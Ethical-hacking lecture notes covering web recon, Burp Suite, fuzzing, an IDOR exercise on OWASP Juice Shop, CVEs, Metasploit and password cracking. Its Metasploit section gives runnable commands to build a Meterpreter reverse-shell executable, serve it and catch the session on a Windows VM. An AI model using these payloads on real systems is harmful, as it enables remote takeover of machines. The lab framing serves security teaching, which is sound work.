Lecture 4
CSS484 · Ethical Hacking · Lecture 04
Web Application Enumeration & the Burp Workflow Map the surface, read the frontend, then let the tools prove what you found Dr. Matthew Gaber
Section 1 · Recon — Mapping the Attack Surface
Before you attack anything, understand exactly what you are attacking.
Why web applications are the primary target
Attackers start from a browser, no network breach required.
- Publicly exposed by default — Almost every organisation (banks, universities, hospitals) puts at least one app on the internet.
- Change faster than security — Features ship weekly; security reviews rarely keep pace, leaving shortcuts that accumulate.
- Complex, fragile business logic — Intricate workflows create edge cases that are easy to abuse.
- User input is everywhere — Every field, header, and cookie is attacker-controllable.
- Auth is often flawed — Authentication and authorization are the most commonly broken controls.
Typical web application architecture
Related
A web app is an ecosystem of layers. Every attack maps to one or more of them, and authentication ties them all together.
- L1 — Client: Browser / mobile app, fully attacker-controlled
- ▼ TRUST BOUNDARY ▼
- L2 — Frontend: HTML, CSS, JavaScript — a roadmap to the backend
- L3 — Backend logic + APIs: Where authorization decisions & high-impact bugs live
- L4 — Databases & storage: Credentials, user data, business information
Auth ties every layer together. Authentication and session handling connect the client, frontend, backend, and data layers. If identity is weak, an attacker does not need to break every layer — they simply become another user, or an admin.
[IMAGE: Web Architecture & Content Discovery diagram — client/browser ↔ web server ↔ cloud storage, labeled "URLs, Files, Subdomains, Technologies"]
Think like an explorer
Once you understand the architecture, understand the behaviour. Reconnaissance is a set of questions you keep asking about every feature you touch.
- What functionality exists? — Enumerate every feature the app offers.
- What is visible vs hidden? — Undocumented APIs, debug routes, abandoned features.
- What inputs control behaviour? — Every parameter is a lever you can pull.
- What do developers assume? — They expect users to follow the intended workflow.
- What if inputs are modified? — Mutate values and observe what changes.
- What checks are missing? — Is authz, rate-limiting, validation enforced everywhere?
Think of the app like a locked house: the front door (UI) is only one entrance. An explorer checks windows, the garage, the back door — inputs, hidden endpoints — for ones the owner forgot to lock.
Manual discovery techniques
Many people jump straight to automated tools. That is a mistake. Start by using the app like a normal user, then a curious one.
- Navigate the application normally — Click every link, submit every form, build a mental map of intended behaviour.
- Observe URLs & query parameters — Endpoints like
/admin,/api,/user/profilereveal structure. - Inspect JavaScript files — Frontend code is free reconnaissance: endpoints, flags, logic.
- Review
robots.txt&sitemap.xml— Meant for search engines; often list unadvertised directories. - Compare logged-in vs logged-out — Differences expose authorization gaps and hidden features.
URLs & params are immediate levers:
/admin,/api,/user/profile→ reveal structure?id=1024→ walk objects??role=user→ escalate??debug=true→ leak state?- change them, watch behaviour change
The core question: what happens if I don't use the app the way the developers expected? That is where manual discovery pays off.
Commonly forgotten & exposed paths
Guessing common paths is simple and effective. Attackers do not need zero-days — they look for what developers forgot to lock down.
/admin,/administrator— Login panels & management consoles/api,/api/v1— Undocumented or older, weaker endpoints/test,/dev— Incomplete features, hardcoded creds/backup,/old— Config files, source, legacy versions/debug,/health— System status & environment leaks/internal,/staff— Protected only by obscurity
Key lesson: attackers don't need zero-days to find entry points — they look for what developers forgot to lock down.
Case study: Hidden functionality leading to breach
A common breach pattern, start to finish. No exploit, no zero-day — just a missing authorization check on an endpoint someone assumed nobody would find. This is Broken Access Control, present in the 2021 OWASP Top 10.
- Undocumented admin endpoint — Exposed on production, unlinked in the UI
- No authorization check — Backend trusted that only admins arrive
- Relied on obscurity — Entire security model = "nobody will find it"
- Attacker enumerated URLs — Tried
/admin,/internal, versioned API routes - Sensitive data accessed — User records, internal reports, admin functions
- Fixed: enforce access control — Verify identity & permission on every request
"If users can't see it, they can't reach it." — the dangerous assumption behind a huge number of modern breaches.
- Optus Australia 2022 — exposed API (weak/no auth) → 10 million customer records leaked.
- Citibank 2011 — attackers logged into their own accounts, then simply changed the account number in the URL.
Section 2 · Frontend — Fingerprinting the Frontend
The JavaScript an app ships is an unintentional blueprint of its backend.
Common frontend technologies
To understand how an app exposes functionality, know what it is built from. The framework tells you where to look for the real endpoints.
| Framework | Routing style | Rendering |
|---|---|---|
| Angular | /#/ or #!/ hash routing | client-side |
| React | History-API client routing | client-side |
| Vue.js | Template-driven SPA | client-side |
| HTML / jQuery | Classic multi-page apps | server-side |
- Client-side (SPA): many URLs are handled entirely in JavaScript. Real backend endpoints live behind the scenes as API calls — the server may never see the visible path.
- Server-side (MPA): every URL maps directly to a backend endpoint. Discovery shifts: instead of crawling links, focus on JS files, network traffic, and API request patterns.
Angular, React & Vue: what the URL tells you
A URL with /#/ or #!/ signals hash-based client routing. Everything after the hash is never sent to the server — the browser strips it before the request.
- Client-side routing — React & Vue often use the History API; routes look like normal paths, but logic stays in JS.
- JavaScript-heavy — Almost all real functionality happens through background API calls.
- Example:
https://example.com/app/#/admin/users→ the browser sendsGET /app/withHost: example.com, and#/admin/usersnever leaves the machine.
- Example:
- API-driven design — Clickable pages are mostly irrelevant to the attacker. Reaching
#/adminjust makes the JS render that component and fire a real request likeGET /api/users. - Reduced visible surface — The real attack surface lives in JS files and API traffic.
Access control based only on client-side routing is meaningless. The server never even sees it, so it cannot possibly be enforcing it.
Think of hash routing like a sticky note on your own desk telling you "don't open this drawer." The building security guard (server) never sees the note — so it isn't actually locked.
AngularJS: common patterns (legacy)
Double curly braces render values inside templates. In early AngularJS, user input could be evaluated as an expression — enabling template injection and arbitrary JavaScript.
Expression syntax: {{ }}
Even when not exploitable,
{{ }}signals legacy AngularJS — end-of-life and often unpatched in production.
- Client-side access control — Admin menus hidden by role stored in JavaScript, bypassable via direct backend requests.
- Frontend form validation — Length & format checks the server may not actually enforce.
- Hardcoded API paths — Config objects reveal internal endpoints & forgotten functionality.
- Deprecated framework usage — End-of-life builds running unpatched in production.
- Overexposed functionality — Features no longer in the UI but still reachable.
React & Vue: modern frameworks
React and Vue do not use Angular expressions, but they compile into readable JavaScript. After compilation, every API call the app makes is visible to anyone who reads the bundle.
- JSX / template syntax — Compiles to plain JavaScript; every API call is readable.
- API calls in JavaScript — All backend interaction visible after compilation.
- Token-based auth (JWT) — Almost always JSON Web Tokens for session state.
- Role checks in frontend — Test whether the backend enforces the same checks.
- Environment variables — Sometimes accidentally exposed in the bundle.
- Feature flags — Reveal unfinished or hidden functionality.
What attackers learn from frontend code
The JavaScript is an unintentional blueprint of the backend. Developers assume users behave the way the frontend tells them to. Attackers never do.
- API endpoints — Never linked in the UI
- Hidden routes — Disabled / staging features
- Feature flags — Internal switches
- Parameter names —
isAdmin,role,accountId - Validation logic — What the server expects
- Business assumptions — Expected workflows & trust
Reading the JS, attackers learn not just how the app works, but how to break it. The frontend is a gift to whoever bothers to read it.
[IMAGE: "Hidden Endpoints, Weak Parameters & Predictable IDs" infographic — hidden login page, weak security params, sequential guessable IDs]
Legacy web apps in the wild
Legacy apps are not just old websites — they are business-critical systems still running because they work. Often they are the highest-risk apps in the whole organisation.
Characteristics:
- Multi-page apps (MPA), every click loads a new page
- jQuery layered on server-side templates
- File/endpoint-shaped URLs map to backend handlers
- Session-cookie authentication, often weak
- "Works in prod" emergency patches, applied unevenly
Endpoint-shaped URLs:
admin.phpdownload.aspview.aspx?id=123- each maps straight to a handler
Legacy is not a simple attack surface — years of features, exceptions & fixes sit behind uneven controls.
Often the highest-risk apps in the org: old, business-critical, patched unevenly, and rarely reviewed with fresh eyes.
[IMAGE: overgrown/abandoned computer terminal illustration — "legacy system in the wild"]
Server-side rendered applications
The backend generates HTML for every request. That tight coupling between input and logic is exactly why injection attacks thrived in this model.
Flow: Request (user clicks a link/submits a form) → Server builds page (templates + data combined on backend) → HTML returned (finished markup sent to client)
Characteristics:
- Form-based input handling
- Direct parameter processing into logic
- Tight logic-to-render coupling
- Endpoints map cleanly to handlers
Why injection thrived here: Parameters flow directly into database queries, file operations, and authorization checks with little abstraction. Inconsistent validation lets attackers inject SQL, commands, file paths, or template expressions — and verbose errors reveal exactly how data is processed.
Python and Django
Same server-side rendering as legacy apps — round-trip, template + data, finished HTML — but the opposite security posture. Django is a backend, not a point on the frontend spectrum: it can wear the legacy MPA costume, or sit as the JSON API behind an SPA.
Strong defaults:
- ORM parameterizes queries — SQL injection can't land unless someone deliberately drops to
.raw()or.extra(). - Templates auto-escape output — XSS can't land unless a value is explicitly marked
|safe. - CSRF is on as middleware — Unprotected POST requests are rejected out of the box.
Where it still breaks:
- Opt-outs —
mark_safe,.raw(), or rendering user input as a template. Bug-hunting = grepping for these. - Access control (IDOR) — The ORM won't stop it; it's business logic, not syntax. OWASP #1.
DEBUG = True— Stack trace, settings, and the exact SQL that ran — a verbose-error map, in higher fidelity.
Django is like a house built with great locks on every door by default (ORM, auto-escape, CSRF) — but if someone leaves the master key under the doormat (
DEBUG=True,mark_safe), the locks don't matter.
Section 3 · The Lab — OWASP Juice Shop
A safe, deliberately vulnerable target that looks like a real e-commerce app.
[IMAGE: OWASP Juice Shop browser mockup listing legacy features — Insecure Password Storage, No HTTPS, Plaintext Passwords, Insecure Direct Object References, No Rate Limiting, Server-Site Request Forgery, Security Misconfiguration, Insecure Cryptographic Storage]
OWASP Juice Shop
Purpose-built for learning offensive web security. It looks like a real e-commerce site, but every vulnerability is intentional, safe, and legal to attack.
- Intentionally vulnerable — Purpose-built for learning offensive web security.
- Modern SPA + API backend — Looks like a real e-commerce site.
- Realistic attack patterns — The same classes of issues seen in real assessments.
- Safe & legal to attack — Deliberately vulnerable, fine for the classroom.
- Covers the OWASP Top 10 — Broad coverage across vulnerability categories.
- Learn tool workflows — Not just individual exploits, the whole process.
Links: owasp.org/www-project-juice-shop and owasp.org/Top10/2025 for the vulnerability categories it covers.
Running Juice Shop on Kali
Juice Shop runs as a Docker container: isolated, resettable, and reachable only from your host. Safe to attack repeatedly.
- Docker container execution — Runs in an isolated environment.
- Default exposed port 3000 — Docker maps the container port to the host.
- Localhost access — A standard browser is all you need.
- Stateless reset on restart — Restarting resets state, handy for repeating exercises.
$ docker run --rm -p 3000:3000 bkimminich/juice-shop
# then open in the browser:
http://localhost:3000
# Server listening on port 3000Isolated, resettable, and reachable only from your host — safe to attack repeatedly.
Install (already done) & find the score-board
Install Docker, pull and run Juice Shop, then tackle the classic first challenge: finding the hidden score-board using the browser's own dev tools.
$ sudo apt update
$ sudo apt install -y docker.io
$ sudo systemctl start docker
$ sudo systemctl enable docker
$ sudo docker pull bkimminich/juice-shop
$ sudo docker run --rm -p 3000:3000 bkimminich/juice-shop
http://localhost:3000
# I solved a few before making the clone - please delete the cookie and refreshFind the score-board:
- Open the browser Debugger (dev tools)
- Use the
{}button (bottom-left) to un-minify the source - Search the code with
Ctrl + Shift + F - Look for a route like
/score...
devtools search: Ctrl + Shift + F → "score"
Section 4 · Tooling — The Burp Suite Workflow
The intercepting proxy at the centre of web testing, and how to use it well.
Why workflow matters
Burp is an intercepting proxy between the browser and the server. It doesn't understand business logic, authorization models, or intent — you do.
- Observation precedes manipulation — Learn normal request patterns before changing anything.
- Manual before automated — Browse, map, and study requests before any scan.
- Precision before volume — Targeted testing beats spraying noise.
- Detection risk rises with noise — Aggressive scanning floods logs and triggers IDS.
Tools do not find/define vulnerabilities. People do. A structured workflow forces observation before manipulation, and keeps you quiet.
Proxy: observing real application behaviour
Every request, response, header, and parameter passes through Burp. This is the foundation of enumeration — everything that follows starts here.
- Intercepts HTTP/S traffic — Every request, response, header & parameter passes through Burp.
- Reveals the true request flow — Redirects, background API calls, auth handshakes, token refreshes.
- Shows hidden endpoints — Internal routes, versioned APIs, admin functions never in the UI.
- Exposes headers & tokens — Session IDs, JWTs, CSRF tokens, API keys, auth headers.
- Separates UI from backend — Shows what the backend actually accepts & processes.
- Foundation of enumeration — Map endpoints, params, auth flows & trust boundaries first.
Burp is like a phone wiretap between you and the server — it doesn't understand the conversation, it just lets you read and replay every word said.
Five tools do most of the work
- P — Proxy: Intercept and view live traffic. The hub you route the browser through.
- R — Repeater: Hand-edit one request and resend it as often as you like. Your workbench.
- I — Intruder: Automate a request across a list of payloads — fuzzing, brute force, enumeration.
- T — Target: The site map. A tree of everything Burp has seen, plus scope rules.
- D — Decoder: Encode/decode Base64, URL, hex; also hashing. Great for tokens and params.
Hands-on: Burp essentials
Follow the PortSwigger getting-started guide. Four essential skills that underpin everything you will do with Burp.
- Intercepting HTTP traffic — Route the browser through Burp and pause a request.
- Modifying requests — Edit parameters and headers before forwarding.
- Setting the target scope — Constrain Burp to the app under test.
- Reissue a request — Replay and compare responses in Repeater.
Guide: portswigger.net/burp/documentation/desktop/getting-started/intercepting-http-traffic
Workshop steps: launching Burp
- Launch Burp — Start Burp Community and accept the temporary project. The Proxy listener comes up on
127.0.0.1:3000. - Open the browser —
Proxy → Intercept → Open Browserlaunches a preconfigured Chromium. All its traffic already routes through Burp — nothing else to set. - Toggle intercept — Intercept On holds each request so you can edit it; Intercept Off lets traffic pass but still logs it under
Proxy → HTTP history.
Workshop: Create Users in Juice Shop (IDOR walkthrough)
- Accounts — Register two accounts, call them Alice and Bob — and add an item to each basket. You'll present as Alice and steal Bob's basket. (Password suggestion:
12345 sq - j) - Logged in as Bob — Click the shopping basket icon.
GET /rest/basket/7— Switch toBurp → Proxy → HTTP history. Scroll to the most recent entries and find one likeGET /rest/basket/7.- The request is on the left, the response on the right. "This is the app asking the server: give me basket number 7. And the server did." The number is Bob's basket ID — yours may differ, that's fine. What's stopping me from asking for a different number?
- Click it — Select the request.
- Send it to Repeater — Right-click the request and Send to Repeater. Click over to the Repeater tab.
- Repeater → Hit Send — Send it once, unchanged, to establish the baseline. The response is a JSON body with Bob's basket contents, a
200 OK. - Change one number — Find the
7in/rest/basket/7and change it to a different basket — Alice's. Change nothing else. Hit Send.
Troubleshooting:
- Can't find the request in history: make sure the filter isn't hiding it (
Proxy > HTTP history— check the filter bar isn't set to in-scope-only), and confirm you clicked the basket after Burp was running. - The changed ID returns an error instead of a basket: that ID doesn't exist — just try another small number. Errors are fine, a 404 or 500 next to a 200.
- Response looks empty: widen the Repeater response pane or hit the Pretty button to format the JSON.
This exercise is a live demonstration of IDOR (Insecure Direct Object Reference) — see Section 6 below.
Section 5 · Fuzzing — Enumeration & Fuzzing
Systematic input variation to map what exists before you try to break it.
What fuzzing actually means
Not random noise. Fuzzing is structured, deliberate input variation, and the goal is to find, not to break. Every attempt tests a developer assumption.
- Systematic input variation — Not random noise; structured and deliberate.
- Pattern-driven guessing — Inputs chosen from observed structure.
- Discovery, not exploitation — The goal is to find, not to break.
- Coverage over randomness — Explore the behaviour space systematically.
- Assumption testing — "What if the developer's assumption is wrong?"
- Finds the serious bugs first — Hidden panels, broken access control, forgotten APIs.
A core enumeration technique, not an attack by itself. Most serious vulnerabilities are found by fuzzing first and discovering what exists. Exploitation only comes after we understand the map.
Directory fuzzing
Systematically guess URLs and paths to discover functionality that isn't linked anywhere. It needs no exploits and no authentication.
- Hidden paths — Not in navigation, still reachable
- Admin interfaces —
/admin,/manage,/console - Debug endpoints —
/debug,/health,/status,/metrics - Backup files —
.bak,.zip, DB dumps, config - Legacy functionality — Deprecated, unpatched, forgotten
- Environment artifacts —
/dev,/test,/staging,/old
It asks one simple question: what exists here that no one bothered to hide properly? No exploits, no authentication, just systematic guessing.
Why directory fuzzing works
It works because of human behaviour, not technical failure. Every reason here is about how people build and maintain software under pressure.
- Large attack surface — Applications grow large over time.
- Human naming patterns — Developers reuse names like
admin,test,old. - Inconsistent cleanup — Temporary files are rarely removed properly.
- Security through obscurity — Teams rely on obscurity over access control.
- Time pressure on devs — Shortcuts taken under deadline stay in place.
- Rarely audited paths — Forgotten routes are seldom monitored.
Parameter fuzzing
Once you know which endpoints exist, what inputs do they accept? Most vulnerabilities are not caused by bad input — they are caused by unexpected input.
- Hidden parameters — Feature flags, debug options, filters, internal switches.
- Optional / conditional inputs — Matter only in certain states: resets, uploads, checkout.
- Backend-only parameters — Fields the frontend never sends but the backend still trusts:
isAdmin,role,price,status. - Client-controlled values — IDs, account numbers, roles — candidates for authz bypass.
- Type confusion — Number → string? boolean → array? object replacing a value?
- Boundary testing — Very large numbers, negatives, empty fields, unexpected formats.
It works because developers rarely defend every parameter on every endpoint consistently. Boundary testing probes how defensive the backend really is.
Directory vs parameter fuzzing
Two complementary techniques. One maps what is there, the other explores what it does. Ethical hackers alternate between them as new information appears.
| Aspect | Directory Fuzzing | Parameter Fuzzing |
|---|---|---|
| Question | "What else exists on this server?" | "What else can this functionality do?" |
| Focus | Focuses on paths | Focuses on inputs |
| Nature | Structural, maps the layout | Logical, explores data handling |
| Reveals | Discovery of what is there | Behaviour of what is there |
| Direction | Expands horizontally across the app | Expands vertically into backend logic |
In practice: ethical hackers alternate between the two as new information is discovered — the techniques are complementary.
Interpreting fuzzing results
One of the hardest skills. The status code is the obvious signal, but rarely the only one. The most dangerous finding is the one that looks completely normal.
- Status code changes — The most obvious signal, but not the only one.
- Response size anomalies — New functionality even when the status is unchanged.
- Timing differences — Extra backend processing or conditional logic.
- Error message variation — Often the clearest insight into backend behaviour.
- Redirect behaviour — Auth/authz applied inconsistently.
- Silent success — Looks normal, but behaviour quietly changed.
Silent success is the most dangerous: a normal-looking
200 OKwhile internal state quietly changed — unauthorized access, altered permissions, abused logic. Nothing looks broken, so it is the easiest to miss.
Like a thief who steals your car but leaves it looking parked in the exact same spot — no alarm, no broken window, everything "looks fine."
Section 6 · Real Systems — How Flaws Appear in the Wild
The human reasons behind hidden endpoints, weak parameters, and predictable IDs.
How hidden endpoints appear
Hidden endpoints appear for very human reasons. None of these is a clever attack — they are all ordinary development decisions that were never undone.
- Frontend leftovers — Code references endpoints no longer linked but still live.
- API versioning — Older endpoints often remain active alongside new ones.
- Debug functionality — Frequently left accessible after development.
- Feature toggles — Hide UI without disabling the backend.
- Admin shortcuts — Added for convenience, never removed.
- Legacy migrations — Old endpoints left behind "just in case."
The pattern: hiding the UI is not the same as disabling the backend. The endpoint outlives the link that pointed to it.
Weak parameters
Related
One of the most common sources of modern web vulnerabilities, especially in API-driven systems. Any client-sent value is fully under attacker control.
- Client-controlled values — Any value from a form, mobile app, or API is fully under attacker control; the server can't tell legitimate from modified.
- Missing validation — Devs assume params the UI won't change are safe. Attackers test that assumption immediately.
- Inconsistent checks — Validated on creation but trusted on retrieval or update.
- Overloaded parameters — One param serving multiple roles, e.g. filtering and access scope.
- Implicit defaults — Backend fills missing values; a test can be omitted, duplicated, or have reordered params.
Predictable IDs and IDOR
Related
Sequential identifiers are not a bug — they are a design choice that becomes dangerous without access control. If ownership is not verified, IDs become "object walking."
- Sequential identifiers — Simple, fast, easy to index, and easy to enumerate.
- Guessable formats — Numeric sequences, timestamps, structured IDs that reveal meaning.
- Exposed object references — IDs in URLs or API responses become direct object references.
- Lack of ownership checks — No verification that the requester owns the object.
IDOR probe example (Burp Repeater):
GET /api/user/1024/profile
200 OK (my own data)
GET /api/user/1025/profile ← ?
200 OK (someone else's!)
GET /api/order/50012
# just change the number
If the app doesn't verify ownership, an attacker retrieves or modifies other users' data just by changing the number. That is an insecure direct object reference (IDOR).
Imagine a hotel where room keys are just sequential numbers, and the front desk never checks if the number on your key matches your room — anyone can just try the next number.
Chaining vulnerabilities
Real-world attacks rarely rely on a single flaw. Each step here is individually modest — together they are a full compromise, sometimes through logic alone.
- Hidden endpoint discovery — Found via enumeration or code analysis
- Parameter manipulation — Endpoint accepts weakly-validated inputs
- ID enumeration — Predictable identifiers enable object walking
- Unauthorized access — Authorization checks fail to prevent it
- Data exposure — Sensitive data read, modified, or deleted
- Privilege escalation — Sometimes via logic alone, no technical exploit
No single game-over bug: a chain of individually minor flaws becomes a serious compromise, sometimes through business logic alone, with no technical exploit fired.
Like a burglar who doesn't break a single lock, but uses a spare key (leaked endpoint) to open the garage (weak param), then walks through an unlocked internal door (missing ownership check) straight to the safe.
Section 7 · Exploitation — From Enumeration to Exploit
Tools come after understanding: turning a version string into proof of impact.
CVEs: weaponized knowledge
CVE (Common Vulnerabilities and Exposures): the formal language of known security flaws. Critically, CVEs are version-specific — "Apache vX under conditions Y," not "Apache" in general.
- Public vulnerability records — Disclosed, analysed, assigned an identifier.
- Version-specific flaws — Applies to Apache vX under conditions Y.
- Known exploitation paths — Advisories, PoC code, and write-ups.
- Searchable intelligence — Map enumerated versions to known weaknesses.
- Risk prioritization — Not every vuln is equally exploitable.
- Patch verification — Confirm whether a vulnerable version is still present.
Lookup example:
cve.org/CVERecord?id=CVE-2025-55182
React Server Components
pre-auth RCE, CVSS 10.0
# a frontend you fingerprinted
# becomes a known exploit
Found interesting scan results? Start with CVEs. Advisories, PoC code, and write-ups turn a version number into weaponized knowledge. → https://www.cve.org/CVERecord?id=CVE-2025-55182
Metasploit exploitation framework
A modular platform to test, validate, and demonstrate vulnerabilities in a controlled, repeatable way. Scanning says something might be wrong; Metasploit says whether it can actually be broken.
- Modular exploit framework — Thousands of pre-built exploits, payloads, scanners & post modules.
- Payload abstraction — Exploit and payload are separate; swap reverse/bind/Meterpreter freely.
- Exploit reliability testing — Checks the service, selects compatible exploits, manages retries.
- Version fingerprinting — Identifies versions and matches them to modules.
- Rapid validation — Answer "is this actually exploitable here?" in minutes.
- Safe lab usage only — Never run blindly against production. Labs & authorized tests only.
The real value: scanning tells you something might be wrong. Metasploit tells you whether it can actually be broken. That certainty is what a proof-of-concept delivers.
Metasploit payload walkthrough (lab-only demo)
A concrete, lab-only example: generate a Meterpreter reverse-shell payload, serve it, catch the session, and confirm control. Every command here is runnable. Put both machines in bridged networking.
On attacker@kali:
# 1) generate the payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<real-kali-ip> LPORT=4444 -f exe > shell.exe
# 2) serve it
python3 -m http.server 80
# 3) start the listener on Kali
nc -lvnp 4444On the Windows VM:
- Open a browser
- Navigate to
http://kaliIP/shell.exe - Download & execute the payload
Session opened — confirm control:
> ipconfig
> whoami
> tasklist
# a controlled session
Lab only. We now have a controlled session on the target and have proven the vulnerability is real and high impact. We are no longer guessing.
Section 8 · Post-Exploitation — After the Breach
Password cracking and why one recovered credential unlocks so much more.
Password cracking
Related
Rather than breaking cryptography, attackers exploit password reuse and human habits. Online and offline attacks behave very differently.
| Property | Online Attacks | Offline Attacks |
|---|---|---|
| Target | Interact with live systems | Attack captured hashes |
| Speed | Slow, noisy, rate-limited | Billions of guesses / second |
| Defences | Lockouts & alerts trigger | No limits, no lockouts, no logs |
- Credential reuse — People reuse passwords across systems.
- Hash vs plaintext — Weak/salt-less hashing accelerates recovery.
- Human behaviour — Small tweaks: +number, +year, one letter.
- Post-exploitation value — One credential unlocks lateral movement.
Cracking a captured hash offline is like being handed a locked diary with no one watching — you can try every combination all night, with no alarm going off. Online guessing is like trying the diary's lock in front of its owner — too slow, too risky, and they'll notice and stop you.
Password cracking: the process
Not guessing — a process. Each step is a deliberate decision, and getting the first one wrong guarantees failure no matter how much power you throw at it.
- Hash identification — The wrong algorithm guarantees failure.
- Tool selection — By hash type, hardware & time constraints.
- Wordlists — A baseline; raw lists are rarely enough.
- Rule-based attacks — Transform words to match real human patterns.
- GPU acceleration — Cuts cracking time from weeks to hours.
- Result interpretation — Success shows risk, not entitlement to access.
Explore Kali: several cracking tools are pre-installed. Success demonstrates risk — it is never an entitlement to access beyond your authorization.
References — Readings & Resources
Everything you need to practise this week's material, plus the two course texts that go deeper on exploitation and Metasploit.
- OWASP Juice Shop → owasp.org/www-project-juice-shop
- OWASP Top 10 (2025) → owasp.org/Top10/2025
- Burp Suite → portswigger.net/burp
- Burp, Getting Started → portswigger.net/burp/documentation/desktop/getting-started
- Metasploit Docs → docs.metasploit.com
- CVE lookup → cve.org/CVERecord
Course texts: The Hacker Playbook 3, and Metasploit (2nd Edition). Materials and submissions are on Google Classroom.
Summary — Big Picture Flow
The whole lecture in one pipeline, tying every section together:
- Recon tells you what exists
- Frontend fingerprinting tells you what the backend probably looks like
- Burp lets you observe and manipulate real traffic
- Fuzzing systematically finds hidden paths and weak parameters
- CVEs + Metasploit turn findings into proven, demonstrated impact
- Password cracking + post-exploitation show how far one compromise can spread
Every stage answers the same underlying question, just at a different layer: "What did the developer assume, and what happens if that assumption is wrong?"
Linked from
- DB
- Chapter 11 - Database Security
- Chapter 12 - Internet Security Protocols and Standards
- Chapter 7 - Identification and Authentication, Access Control
- Chapter 10 - System Architecture
- Lab 9 - Application-Layer Protocols
- Lecture 5 - Web Servers and Clients
- Lecture 1 - Introduction to Cyber Crime
- Lecture 10 - Web Application Security - XSS, CSRF & SSRF
- Lecture 11 - Ethical Hacking - Vulnerability Assessment (VA) and Penetration Test (Pentest)
- Lecture 12 - Penetration Testing with Metasploit
- Lecture 3
- Lecture 5 - Password Cracking Workshop
- Lecture 5